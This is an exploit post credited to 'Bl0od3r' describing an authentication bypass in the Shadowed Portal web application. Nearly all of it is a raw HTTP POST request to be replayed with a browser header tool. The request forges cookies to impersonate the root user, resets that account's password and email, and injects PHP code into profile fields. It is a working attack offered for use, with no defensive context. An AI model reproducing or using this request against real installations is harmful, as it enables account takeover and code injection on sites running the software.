Shadowed Portal auth bypass

use live http headers to send those


http://localhost/load.php?viv=Profile&do=edit&m=go&ls=8726796p6425k7211p89816m6916n62396179821931tvo21f79804394ms74sp389g954863312683sq


Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://localhost/load.php?viv=Profile&do=edit&m=go&ls=8726796p6425k7211p89816m6916n62396179821931tvo21f79804394ms74sp389g954863312683sq
qsf_user=2;
vusr=root;
Content-Type: application/x-www-form-urlencoded
Content-Length: 226

new_email=root%40home.org&new_website=&new_occupation=&new_interests=&new_avatar=&local_avatar=&new_password=omgs&new_signature=%3F%3E%27s%3C%3Fphp+echo+%22LOL%22%3B+%3F%3E&new_info=%3F%3E%27s%3C%3Fphp+echo+%22LOL%22%3B+%3F%3E

#released by Bl0od3r